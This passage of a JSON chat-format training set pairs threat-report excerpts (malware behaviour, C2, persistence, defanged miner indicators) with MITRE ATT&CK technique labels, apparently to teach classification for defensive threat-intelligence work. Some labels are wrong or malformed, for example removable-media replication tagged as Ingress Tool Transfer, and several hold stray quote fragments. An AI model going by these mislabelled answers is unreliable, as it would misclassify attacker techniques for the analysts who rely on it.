                "content": "In one instance, FIN13 deployed a backdoor called MAILSLOT, which communicates over SMTP/POP over SSL, sending and receiving emails to and from a configured attacker-controlled email account for its command and control. MAILSLOT makes FIN13 a rare case of a threat actor who has used email communications for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ebury has used user mode rootkit techniques to remain hidden on the system."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. The group has at least four new trojanized setup files we observed: Firefox (a browser), VPNpro (a VPN client), DriverPack (a pack of drivers) and 5kPlayer (a media player). How did it work. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. PROMETHIUM has been resilient over the years. We have no evidence that the websites of the real applications were compromised to host the malicious installer. We can conclude that the PROMETHIUM threat actor is interested in new countries or the malicious framework developed by this threat actor is exported in more countries than previously thought. The usage of the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The malicious service: rmaserv.exe . This binary has two main features. Conclusion . The PROMETHIUM threat actor is dedicated and resilient, exposing them hasn't refrained them from moving forward with their agenda"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses a custom packing algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Meteor can run `set.bat`, `update.bat`, `cache.bat`, `bcd.bat`, `msrun.bat`, and similar scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE has a command to create Registry entries for storing data under \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\WABE\\DataPath\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has also used a Mac OS Python implant that gathers data from Mac OS systems and sends it to a C2 server (Command and Scripting Interpreter: Python [T1059.006]). The Python program downloads various implants based on C2 options specified after the filedown.php (see figure 4"
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols', 'T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has downloaded and installed web shells to following path \"C:\\inetpub\\wwwroot\\aspnet_client\\system_web\\IISpool.aspx\"."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can obtain the computer name, OS version, and default language identifier."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The OsInfo function in Komplex collects a running process list."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can obtain the IP address of a victim host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file. The first stage payload is an MSI Installer that was created using an EXE to MSI converter"
            },
            {
                "role": "assistant",
                "content": "T1218.007 - Signed Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Daserf samples were signed with a stolen digital certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Almost exclusively, Unit 42 has seen the use of weaponized documents that require user execution. Only once in the last six months have we seen use of exploits to circumvent the need for the user to execute any part of the installation chain"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Along with the JavaScript RAT, DarkWatchman features a C# keylogger. The keylogger is distributed as obfuscated C# source code that is processed and stored in the registry as a Base64-encoded PowerShell command. When the RAT is launched, it executes this PowerShell script which, in turn, compiles the keylogger (using CSC) and executes it. The keylogger itself does not communicate with the C2 or write to disk. Instead, it writes it’s keylog to a registry key that it uses as a buffer. During its operation, the RAT scrapes and clears this buffer before transmitting the logged keystrokes to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can manage remote screen sessions."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StoneDrill can obtain the current date and time of the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet enumerates user accounts of the local host."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider has encrypted domain-controlled systems using BitPaymer."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "loaddl: a command responsible for downloading and executing additional modules using the rundll32.exe process. selfkill: a command that is responsible for self-terminating and deleting the malware from the machine"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since version 0.2.6 This function creates a Kerberos ticket with given user details and server (usually AZUREADSSOACC) password. Uses only user’s SID and server password"
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has queued an APC routine to explorer.exe by calling ZwQueueApcThread."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has used JavaScript to execute malicious code on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif has used Systeminfo to gather system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Narrow attacks targeted the Automotive industry among others, while the large malicious spam campaigns appear to be associated with threat actor TA505, an actor responsible for many large-scale attacks since at least 2014"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information on local groups and members on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker will copy itself with a random name into the system directory %systemroot%\\system32 and register itself as a service. The remote computer will then download the worm from the URL given and then start to infect other machines as well. Upon successful infection, it will also patch the hole to prevent other worms to infect the machine\" (Racicot"
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "searches for network drives and removable media and duplicates itself onto them."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use dynamic DNS domain names in C2."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HermeticWiper can use `AdjustTokenPrivileges` to grant itself privileges for debugging with `SeDebugPrivilege`, creating backups with `SeBackupPrivilege`, loading drivers with `SeLoadDriverPrivilege`, and shutting down a local system with `SeShutdownPrivilege`."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Between 2016 and 2020, we have seenScreenConnect and Onehub used in malicious cyber activity by different, unassociated threat actors. For example, between 2016 and 2019 unknown threat actors targeted IT outsourcing firms, including compromising US-based Cognizant and India-based Wipro. 7] The actors responsible for these attacks used ScreenConnect to connect to endpoints on client networks, enabling them to conduct further lateral movements and automated actions on objectives. During an incident impacting Cognizant and their client Maritz Holdings, actors used ScreenConnect to propagate to other connected systems and caused over $1.8 million (USD) in losses through a gift card fraud scheme. 6] In 2019, another threat group used ConnectWise to execute PowerShell commands in their target environments. 7] In 2020, ScreenConnect/ConnectWise has been utilized by the cybercriminal group Pinchy Spider (GOLD SOUTHFIELD, GOLD GARDEN, Sodinokibi, REvil, GandCrab) to distribute Sodinokibi ransomware"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has run \"hostname\" and \"systeminfo\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "zwShell can browse the file system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used Pastebin and Google Storage to host content for their operations."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware collects loads of sensitive data, which are then temporarily stored in files and deleted after they have been successfully uploaded to the C&amp;C servers. Even the deleted files can, however, be recovered by an experienced system administrator, which could help further investigation of the attack – after the victim becomes aware of it. This is possible due to the fact that some data still reside on a disk even after a file is deleted. To prevent this, the malware has the ability to safe-delete all the files, which means it first overwrites the data in a file with zeroes or random bytes, and only then is the file deleted"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SUNBURST checked for a variety of antivirus/endpoint detection agents prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If installing itself as a service fails, Elise instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has used HTTP and HTTPS in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sowbug identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShell scripts that perform system reconnaissance and credential theft from Windows Credential Manager and then send this information back to Waterbug C& Cs."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Similar to RIPTIDE and HIGHTIDE, the WATERSPOUT backdoor is an HTTP-based backdoor that communicates with its C2 server"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RogueRobin establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "exfiltrates screenshot files to its C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies security software such as antivirus through the Security module."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After creating a new service for persistence, TDTESS sets the file creation time for the service to the creation time of the victim's legitimate svchost.exe file."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can gather information from the Keepass password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Downdelph inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JHUHUGIT performs code injection injecting its own functions to browser processes."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. In october 2016 Group-IB published the report about the Cobalt group. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. When opening the document, the user must click on the \"Enable content\" button, which enables macros (fig. 5 Example of an email message with a Word document, which, when opened, requires the user to click on the \"Enable content\" button to enable a malicious macro. 6 Example of a message sent by attackers from a domain whose name is similar to the name of a real domain . As soon as the attachment is launched and the malicious code is executed, the Cobalt Strike payload is loaded in the memory. In addition, Cobalt Strike enables users not to expose a fragment of memory allocated in the context of another process, the RWX (Read, Write, Execute) attributes, which often reveal injected code"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This directory will also contain the process id of the running malware in process.id and a “build name” (as it is called by the author) in build.id"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Config.json\" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called \"XbashY\" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe\" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into \"Windows processes to bypass firewalls. The sample grabs the config file \"xmr.txt,\" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file \"dDNLQrsBUE.url\" in the Windows Start Menu Folder"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains keylogger functionality."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can use use IPv4 A records and IPv6 AAAA DNS records in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adbupd can use a WMI script to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook was signed with valid Certum certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has the ability to modify the Registry to add its binaries to the Windows Defender exclusion list."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses DNS for the C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executive summary . The PROMETHIUM threat actor — active since 2012 — has been exposed multiple times over the past several years.. However, this has not deterred this actor from continuing and expanding their activities. Talos could not pinpoint the initial attack vector, however, the use of trojanized installation files to well-known applications is consistent with the previously documented campaigns. The trojanized setup will install the malware and the legitimate application, which is a good way to disguise its activities. The usage of the HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run registry key has a persistence mechanism that has been replaced by the creation of a service. The dropped files are now stored in a folder located in C:\\DOCUME~1\\&lt;USER&gt;~1\\LOCALS~1\\Temp\\ always following the same pattern similar to the following: 4CA-B25C11-A27BC. If it is executed with the \"help\" parameter, it will install a service to execute itself as a service. The purpose of this tool is to parse the hard drive for files with a specific extension and create an archive with these files. SFT file creation routine Using the working directory as a base path, which in this sample case is C:\\DOCUME~1\\&lt;USER&gt;~1\\LOCALS~1\\Temp\\4CA-B25C11-A27BC\\, each selected file will be compressed into the file kr.zp. Mysterious Wintask.xml . Our initial analysis in a sandbox showed that the C2 contact module attempts to execute this file, searching for it in the same path as the document search module, which we further corroborated with manual analysis. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network"
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Raindrop was built to include a modified version of 7-Zip source code (including associated export names) and Far Manager source code."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JCry has created payloads in the Startup directory to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
